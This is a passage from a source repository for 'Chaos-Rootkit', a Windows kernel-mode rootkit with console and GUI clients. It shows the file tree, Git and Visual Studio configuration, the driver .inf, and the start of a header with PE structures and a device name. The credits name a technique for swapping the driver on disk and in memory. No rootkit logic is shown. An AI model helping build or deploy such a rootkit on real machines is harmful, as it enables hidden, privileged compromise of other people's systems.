├── .gitattributes ├── .gitignore ├── CREADITS.md ├── Chaos-Rootkit.sln ├── Chaos-Rootkit ├── Chaos-Rootkit.inf ├── Chaos-Rootkit.vcxproj ├── Chaos-Rootkit.vcxproj.filters ├── Driver.c ├── ZwSwapCert.h ├── ZwSwapCert.lib ├── header.h └── utils.c ├── README.md ├── ring3-console └── ring3_app.cpp └── ring3-gui ├── libs ├── glfw │ ├── COPYING.txt │ ├── include │ │ └── GLFW │ │ │ ├── glfw3.h │ │ │ └── glfw3native.h │ ├── lib-vc2010-32 │ │ └── glfw3.lib │ ├── lib-vc2010-64 │ │ └── glfw3.lib │ ├── lib-vc2022-32 │ │ ├── glfw3.dll │ │ ├── glfw3.lib │ │ ├── glfw3_mt.lib │ │ └── glfw3dll.lib │ └── lib-vc2022-64 │ │ ├── glfw3.dll │ │ ├── glfw3.lib │ │ ├── glfw3_mt.lib │ │ └── glfw3dll.lib ├── imgui │ ├── LICENSE.txt │ ├── backends │ │ ├── imgui_impl_allegro5.cpp │ │ ├── imgui_impl_allegro5.h │ │ ├── imgui_impl_android.cpp │ │ ├── imgui_impl_android.h │ │ ├── imgui_impl_dx10.cpp │ │ ├── imgui_impl_dx10.h │ │ ├── imgui_impl_dx11.cpp │ │ ├── imgui_impl_dx11.h │ │ ├── imgui_impl_dx12.cpp │ │ ├── imgui_impl_dx12.h │ │ ├── imgui_impl_dx9.cpp │ │ ├── imgui_impl_dx9.h │ │ ├── imgui_impl_glfw.cpp │ │ ├── imgui_impl_glfw.h │ │ ├── imgui_impl_glut.cpp │ │ ├── imgui_impl_glut.h │ │ ├── imgui_impl_metal.h │ │ ├── imgui_impl_metal.mm │ │ ├── imgui_impl_opengl2.cpp │ │ ├── imgui_impl_opengl2.h │ │ ├── imgui_impl_opengl3.cpp │ │ ├── imgui_impl_opengl3.h │ │ ├── imgui_impl_opengl3_loader.h │ │ ├── imgui_impl_osx.h │ │ ├── imgui_impl_osx.mm │ │ ├── imgui_impl_sdl2.cpp │ │ ├── imgui_impl_sdl2.h │ │ ├── imgui_impl_sdl3.cpp │ │ ├── imgui_impl_sdl3.h │ │ ├── imgui_impl_sdlrenderer2.cpp │ │ ├── imgui_impl_sdlrenderer2.h │ │ ├── imgui_impl_sdlrenderer3.cpp │ │ ├── imgui_impl_sdlrenderer3.h │ │ ├── imgui_impl_vulkan.cpp │ │ ├── imgui_impl_vulkan.h │ │ ├── imgui_impl_wgpu.cpp │ │ ├── imgui_impl_wgpu.h │ │ ├── imgui_impl_win32.cpp │ │ ├── imgui_impl_win32.h │ │ └── vulkan │ │ │ ├── generate_spv.sh │ │ │ ├── glsl_shader.frag │ │ │ └── glsl_shader.vert │ ├── docs │ │ ├── BACKENDS.md │ │ ├── CHANGELOG.txt │ │ ├── CONTRIBUTING.md │ │ ├── EXAMPLES.md │ │ ├── FAQ.md │ │ ├── FONTS.md │ │ ├── README.md │ │ └── TODO.txt │ ├── imconfig.h │ ├── imgui.cpp │ ├── imgui.h │ ├── imgui_demo.cpp │ ├── imgui_draw.cpp │ ├── imgui_internal.h │ ├── imgui_tables.cpp │ ├── imgui_widgets.cpp │ ├── imstb_rectpack.h │ ├── imstb_textedit.h │ ├── imstb_truetype.h │ └── misc │ │ ├── README.txt │ │ ├── cpp │ │ ├── README.txt │ │ ├── imgui_stdlib.cpp │ │ └── imgui_stdlib.h │ │ ├── debuggers │ │ ├── README.txt │ │ ├── imgui.gdb │ │ ├── imgui.natstepfilter │ │ └── imgui.natvis │ │ ├── fonts │ │ ├── Cousine-Regular.ttf │ │ ├── DroidSans.ttf │ │ ├── Karla-Regular.ttf │ │ ├── ProggyClean.ttf │ │ ├── ProggyTiny.ttf │ │ ├── Roboto-Medium.ttf │ │ └── binary_to_compressed_c.cpp │ │ ├── freetype │ │ ├── README.md │ │ ├── imgui_freetype.cpp │ │ └── imgui_freetype.h │ │ └── single_file │ │ └── imgui_single_file.h └── usynergy │ ├── README.txt │ ├── uSynergy.c │ └── uSynergy.h ├── ring3-gui.sln └── ring3-gui ├── Makefile ├── Makefile.emscripten ├── build_win32.bat ├── components.h ├── example.vcxproj.filters ├── example_glfw_opengl3.vcxproj ├── example_glfw_opengl3.vcxproj.filters ├── imgui.ini ├── main.cpp ├── ring3-gui.vcxproj └── stb_image.h /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /CREADITS.md: -------------------------------------------------------------------------------- 1 | * Yassine Jerroudi ( helped a lot with the rootkit-client GUI version, deserves all the credits) 2 | * [IDontCode](https://x.com/_xeroxz) All credit for the implementation of swapping the driver on disk and in memory . 3 | -------------------------------------------------------------------------------- /Chaos-Rootkit.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.5.33424.131 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Chaos-Rootkit", "Chaos-Rootkit\Chaos-Rootkit.vcxproj", "{5C946863-BB67-45A4-B610-A600CA5C3FB7}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM64 = Debug|ARM64 11 | Debug|x64 = Debug|x64 12 | Release|ARM64 = Release|ARM64 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Debug|ARM64.ActiveCfg = Debug|ARM64 17 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Debug|ARM64.Build.0 = Debug|ARM64 18 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Debug|ARM64.Deploy.0 = Debug|ARM64 19 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Debug|x64.ActiveCfg = Debug|x64 20 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Debug|x64.Build.0 = Debug|x64 21 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Debug|x64.Deploy.0 = Debug|x64 22 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Release|ARM64.ActiveCfg = Release|ARM64 23 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Release|ARM64.Build.0 = Release|ARM64 24 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Release|ARM64.Deploy.0 = Release|ARM64 25 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Release|x64.ActiveCfg = Release|x64 26 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Release|x64.Build.0 = Release|x64 27 | {5C946863-BB67-45A4-B610-A600CA5C3FB7}.Release|x64.Deploy.0 = Release|x64 28 | EndGlobalSection 29 | GlobalSection(SolutionProperties) = preSolution 30 | HideSolutionNode = FALSE 31 | EndGlobalSection 32 | GlobalSection(ExtensibilityGlobals) = postSolution 33 | SolutionGuid = {7948EA39-B980-4B34-99C6-0DBFE4B2DF88} 34 | EndGlobalSection 35 | EndGlobal 36 | -------------------------------------------------------------------------------- /Chaos-Rootkit/Chaos-Rootkit.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; Chaos-Rootkit.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=Chaos-Rootkit.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | Pn 13 | down=1 14 | 15 | [DestinationDirs] 16 | DefaultDestDir = 12 17 | Chaos-Rootkit_Device_CoInstaller_CopyFiles = 11 18 | 19 | [SourceDisksNames] 20 | 1 = %DiskName%,,,"" 21 | 22 | [SourceDisksFiles] 23 | Chaos-Rootkit.sys = 1,, 24 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 25 | 26 | ;***************************************** 27 | ; Install Section 28 | ;***************************************** 29 | 30 | [Manufacturer] 31 | %ManufacturerName%=Standard,NT$ARCH$ 32 | 33 | [Standard.NT$ARCH$] 34 | %Chaos-Rootkit.DeviceDesc%=Chaos-Rootkit_Device, Root\Chaos-Rootkit ; TODO: edit hw-id 35 | 36 | [Chaos-Rootkit_Device.NT] 37 | CopyFiles=Drivers_Dir 38 | 39 | [Drivers_Dir] 40 | Chaos-Rootkit.sys 41 | 42 | ;-------------- Service installation 43 | [Chaos-Rootkit_Device.NT.Services] 44 | AddService = Chaos-Rootkit,%SPSVCINST_ASSOCSERVICE%, Chaos-Rootkit_Service_Inst 45 | 46 | ; -------------- Chaos-Rootkit driver install sections 47 | [Chaos-Rootkit_Service_Inst] 48 | DisplayName = %Chaos-Rootkit.SVCDESC% 49 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 50 | StartType = 3 ; SERVICE_DEMAND_START 51 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 52 | ServiceBinary = %12%\Chaos-Rootkit.sys 53 | 54 | ; 55 | ;--- Chaos-Rootkit_Device Coinstaller installation ------ 56 | ; 57 | 58 | [Chaos-Rootkit_Device.NT.CoInstallers] 59 | AddReg=Chaos-Rootkit_Device_CoInstaller_AddReg 60 | CopyFiles=Chaos-Rootkit_Device_CoInstaller_CopyFiles 61 | 62 | [Chaos-Rootkit_Device_CoInstaller_AddReg] 63 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 64 | 65 | [Chaos-Rootkit_Device_CoInstaller_CopyFiles] 66 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 67 | 68 | [Chaos-Rootkit_Device.NT.Wdf] 69 | KmdfService = Chaos-Rootkit, Chaos-Rootkit_wdfsect 70 | [Chaos-Rootkit_wdfsect] 71 | KmdfLibraryVersion = $KMDFVERSION$ 72 | 73 | [Strings] 74 | SPSVCINST_ASSOCSERVICE= 0x00000002 75 | ManufacturerName="" ;TODO: Replace with your manufacturer name 76 | DiskName = "Chaos-Rootkit Installation Disk" 77 | Chaos-Rootkit.DeviceDesc = "Chaos-Rootkit Device" 78 | Chaos-Rootkit.SVCDESC = "Chaos-Rootkit Service" 79 | -------------------------------------------------------------------------------- /Chaos-Rootkit/Chaos-Rootkit.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | Debug 14 | ARM64 15 | 16 | 17 | Release 18 | ARM64 19 | 20 | 21 | 22 | {5C946863-BB67-45A4-B610-A600CA5C3FB7} 23 | {1bc93793-694f-48fe-9372-81e2b05556fd} 24 | v4.5 25 | 12.0 26 | Debug 27 | x64 28 | Chaos_Rootkit 29 | $(LatestTargetPlatformVersion) 30 | 31 | 32 | 33 | Windows10 34 | true 35 | WindowsKernelModeDriver10.0 36 | Driver 37 | KMDF 38 | Universal 39 | false 40 | 41 | 42 | Windows10 43 | false 44 | WindowsKernelModeDriver10.0 45 | KMDF 46 | Universal 47 | false 48 | Driver 49 | 50 | 51 | Windows10 52 | true 53 | WindowsKernelModeDriver10.0 54 | Driver 55 | KMDF 56 | Universal 57 | 58 | 59 | Windows10 60 | false 61 | WindowsKernelModeDriver10.0 62 | Driver 63 | KMDF 64 | Universal 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | DbgengKernelDebugger 76 | false 77 | 78 | 79 | DbgengKernelDebugger 80 | 81 | 82 | DbgengKernelDebugger 83 | 84 | 85 | DbgengKernelDebugger 86 | 87 | 88 | 89 | sha256 90 | 91 | 92 | false 93 | 94 | 95 | 96 | 97 | sha256 98 | 99 | 100 | FltMgr.lib;$(SolutionDir)Chaos-Rootkit\ZwSwapCert.lib;%(AdditionalDependencies) 101 | Native 102 | 103 | 104 | false 105 | 106 | 107 | 108 | 109 | sha256 110 | 111 | 112 | 113 | 114 | sha256 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /Chaos-Rootkit/Chaos-Rootkit.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /Chaos-Rootkit/ZwSwapCert.h: -------------------------------------------------------------------------------- 1 | #ifndef ZWSWAPCERT_H 2 | #define ZWSWAPCERT_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef struct _IMAGE_DOS_HEADER 9 | { 10 | /* 0x0000 */ unsigned short e_magic; 11 | /* 0x0002 */ unsigned short e_cblp; 12 | /* 0x0004 */ unsigned short e_cp; 13 | /* 0x0006 */ unsigned short e_crlc; 14 | /* 0x0008 */ unsigned short e_cparhdr; 15 | /* 0x000a */ unsigned short e_minalloc; 16 | /* 0x000c */ unsigned short e_maxalloc; 17 | /* 0x000e */ unsigned short e_ss; 18 | /* 0x0010 */ unsigned short e_sp; 19 | /* 0x0012 */ unsigned short e_csum; 20 | /* 0x0014 */ unsigned short e_ip; 21 | /* 0x0016 */ unsigned short e_cs; 22 | /* 0x0018 */ unsigned short e_lfarlc; 23 | /* 0x001a */ unsigned short e_ovno; 24 | /* 0x001c */ unsigned short e_res[4]; 25 | /* 0x0024 */ unsigned short e_oemid; 26 | /* 0x0026 */ unsigned short e_oeminfo; 27 | /* 0x0028 */ unsigned short e_res2[10]; 28 | /* 0x003c */ long e_lfanew; 29 | } IMAGE_DOS_HEADER, * PIMAGE_DOS_HEADER; /* size: 0x0040 */ 30 | 31 | typedef struct _IMAGE_FILE_HEADER 32 | { 33 | /* 0x0000 */ unsigned short Machine; 34 | /* 0x0002 */ unsigned short NumberOfSections; 35 | /* 0x0004 */ unsigned long TimeDateStamp; 36 | /* 0x0008 */ unsigned long PointerToSymbolTable; 37 | /* 0x000c */ unsigned long NumberOfSymbols; 38 | /* 0x0010 */ unsigned short SizeOfOptionalHeader; 39 | /* 0x0012 */ unsigned short Characteristics; 40 | } IMAGE_FILE_HEADER, * PIMAGE_FILE_HEADER; /* size: 0x0014 */ 41 | 42 | typedef struct _IMAGE_DATA_DIRECTORY 43 | { 44 | /* 0x0000 */ unsigned long VirtualAddress; 45 | /* 0x0004 */ unsigned long Size; 46 | } IMAGE_DATA_DIRECTORY, * PIMAGE_DATA_DIRECTORY; /* size: 0x0008 */ 47 | 48 | typedef struct _IMAGE_OPTIONAL_HEADER64 49 | { 50 | /* 0x0000 */ unsigned short Magic; 51 | /* 0x0002 */ unsigned char MajorLinkerVersion; 52 | /* 0x0003 */ unsigned char MinorLinkerVersion; 53 | /* 0x0004 */ unsigned long SizeOfCode; 54 | /* 0x0008 */ unsigned long SizeOfInitializedData; 55 | /* 0x000c */ unsigned long SizeOfUninitializedData; 56 | /* 0x0010 */ unsigned long AddressOfEntryPoint; 57 | /* 0x0014 */ unsigned long BaseOfCode; 58 | /* 0x0018 */ unsigned __int64 ImageBase; 59 | /* 0x0020 */ unsigned long SectionAlignment; 60 | /* 0x0024 */ unsigned long FileAlignment; 61 | /* 0x0028 */ unsigned short MajorOperatingSystemVersion; 62 | /* 0x002a */ unsigned short MinorOperatingSystemVersion; 63 | /* 0x002c */ unsigned short MajorImageVersion; 64 | /* 0x002e */ unsigned short MinorImageVersion; 65 | /* 0x0030 */ unsigned short MajorSubsystemVersion; 66 | /* 0x0032 */ unsigned short MinorSubsystemVersion; 67 | /* 0x0034 */ unsigned long Win32VersionValue; 68 | /* 0x0038 */ unsigned long SizeOfImage; 69 | /* 0x003c */ unsigned long SizeOfHeaders; 70 | /* 0x0040 */ unsigned long CheckSum; 71 | /* 0x0044 */ unsigned short Subsystem; 72 | /* 0x0046 */ unsigned short DllCharacteristics; 73 | /* 0x0048 */ unsigned __int64 SizeOfStackReserve; 74 | /* 0x0050 */ unsigned __int64 SizeOfStackCommit; 75 | /* 0x0058 */ unsigned __int64 SizeOfHeapReserve; 76 | /* 0x0060 */ unsigned __int64 SizeOfHeapCommit; 77 | /* 0x0068 */ unsigned long LoaderFlags; 78 | /* 0x006c */ unsigned long NumberOfRvaAndSizes; 79 | /* 0x0070 */ struct _IMAGE_DATA_DIRECTORY DataDirectory[16]; 80 | } IMAGE_OPTIONAL_HEADER64, * PIMAGE_OPTIONAL_HEADER64; /* size: 0x00f0 */ 81 | 82 | typedef struct _IMAGE_NT_HEADERS64 83 | { 84 | /* 0x0000 */ unsigned long Signature; 85 | /* 0x0004 */ struct _IMAGE_FILE_HEADER FileHeader; 86 | /* 0x0018 */ struct _IMAGE_OPTIONAL_HEADER64 OptionalHeader; 87 | } IMAGE_NT_HEADERS64, * PIMAGE_NT_HEADERS64; /* size: 0x0108 */ 88 | 89 | typedef struct _IMAGE_SECTION_HEADER 90 | { 91 | /* 0x0000 */ unsigned char Name[8]; 92 | union 93 | { 94 | union 95 | { 96 | /* 0x0008 */ unsigned long PhysicalAddress; 97 | /* 0x0008 */ unsigned long VirtualSize; 98 | }; /* size: 0x0004 */ 99 | } /* size: 0x0004 */ Misc; 100 | /* 0x000c */ unsigned long VirtualAddress; 101 | /* 0x0010 */ unsigned long SizeOfRawData; 102 | /* 0x0014 */ unsigned long PointerToRawData; 103 | /* 0x0018 */ unsigned long PointerToRelocations; 104 | /* 0x001c */ unsigned long PointerToLinenumbers; 105 | /* 0x0020 */ unsigned short NumberOfRelocations; 106 | /* 0x0022 */ unsigned short NumberOfLinenumbers; 107 | /* 0x0024 */ unsigned long Characteristics; 108 | } IMAGE_SECTION_HEADER, * PIMAGE_SECTION_HEADER; /* size: 0x0028 */ 109 | 110 | UNICODE_STRING DeviceName = RTL_CONSTANT_STRING(L"\\Device\\KDChaos"); 111 | 112 | UNICODE_STRING SymbName = RTL_CONSTANT_STRING(L"\\??\\KDChaos"); 113 | 114 | PUNICODE_STRING registryPathCopy; 115 | 116 | 117 | #ifdef __cplusplus 118 | extern "C" { 119 | #endif 120 | 121 | NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath); 122 | 123 | // set this to your entry point in the linker... 124 | NTSTATUS ScDriverEntry(PDRIVER_OBJECT DriverObject, 